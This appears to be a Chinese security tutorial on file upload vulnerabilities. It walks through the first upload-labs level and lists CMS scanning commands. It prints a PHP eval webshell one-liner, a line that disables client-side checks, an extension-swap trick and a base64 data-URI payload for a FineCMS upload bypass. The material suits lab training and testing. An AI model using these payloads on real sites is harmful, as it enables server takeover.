文件上传之基础过滤方式
利用思路来源以下方向:

1. 什么是文件上传漏洞
有文件上传就可以测试是否有漏洞,关键看代码是否完备。
比如上网搜索相关的上传路径:inurl:upload.php

2. 漏洞危害
自定义网站后门,获取网站权限,属于高危漏洞。
3. 如何查找判断
黑盒查找:不知道源代码情况下,通过目录扫描和网站应用,以及通过网站后台、会员中心进行获取权限,需要自己判断。
白盒查找:通过源代码分析文件上传漏洞。
判断:通过抓包分析
网站的目录扫描:御剑,dir等工具(扫描本地的一个上传靶场地址:http://upload-labs:8082/)
下载地址是:https://github.com/c0ny1/upload-labs
https://github.com/c0ny1/upload-labs
然后我去尝试扫描第一关(没有upload.php自然也就扫不出来):

4.网站应用功能
---上传头像、图片、会员中心、上传视频
5. 注意事项以及应用说明
文件上传的区分归类,是编辑器还是第三方应用,还是其它的,再进行后续测试
本地文件上传漏洞靶场环境搭建测试
1. 第一关(本地前端验证)

2.尝试文件的上传(内容可以是一句话木马:<?php @eval($_POST['cmd']);?>,也可以直接PHP信息检测<?php phpinfo()?>)
3.查看上传的结果:上传1.php然后
提示:文件类型不正确,请重新上传!
4.查看本地前端源代码

//定义允许上传的文件类型var allow_ext = ".jpg|.png|.gif";
这个代码很简单就可以绕过:
1.我可以直接删除或者禁用前端的这串代码,证明他的不存在,然后再去发送一个php文件就可以上传
2.bp抓包,修改后缀(上传一个1.jpg抓包修改成1.php)也能得到同样的效果
但是这里也有一个误区:
不是所有的情况都可以抓包,抓不了包的情况是:
-
✅ 数据在浏览器内循环
-
❌ 没有产生HTTP请求
-
❌ 没有网络流量
-
❌ BurpSuite无包可抓
尝试第一种方法上传文件:
document.querySelector('form').onsubmit = null;

此时就能上传之前没有上传的1.php文件

尝试第二种方法上传文件:
php->png就行了
CMS 及 CVE 编号文件上传漏洞测试
CMS(内容管理系统)的文件上传漏洞测试是Web安全中的重要环节。
1. 信息收集阶段
识别CMS类
# 使用工具识别CMS whatweb http://target.com(kali)
wpscan --url http://target.com # WordPress joomscan -u http://target.com # Joomla droopescan scan drupal -u http://target.com # Drupal
2. 常见CMS上传漏洞点
WordPress
# 常见上传路径 /wp-admin/media-new.php /wp-admin/async-upload.php /wp-content/uploads/ /wp-admin/plugin-install.php
Joomla
/components/com_media/ /images/ /templates/
Drupal
/admin/content/media /user/[uid]/edit # 头像上传
比如去找finecms文件漏洞的信息(Finecms SQL注入漏洞 (CVE-2018-6893)):
preg_match('/^(data:\s*image\/(\w+);base64,)/', $file, $result);
if ($result) {
$ext = $result[2]; // 获取图片类型作为扩展名
$filename = time().'.'.$ext;
// 保存文件...
}
发现正则表达式尝试绕过:data:image/php;base64,PD9waHAgcGhwaW5mbygpPz4==
这样抓包修改成把image/jpeg 改成image/php 然后加入正确的路径就可以得到数据
Weblogic简介(相当于Java开发的第三方应用)
---用于部署网站的第三方应用,相当于nginx,Apache等中间件,也类似于中间件存在文件上传漏洞。(WebLogic 后台弱⼝令GetShell(weak_password ))
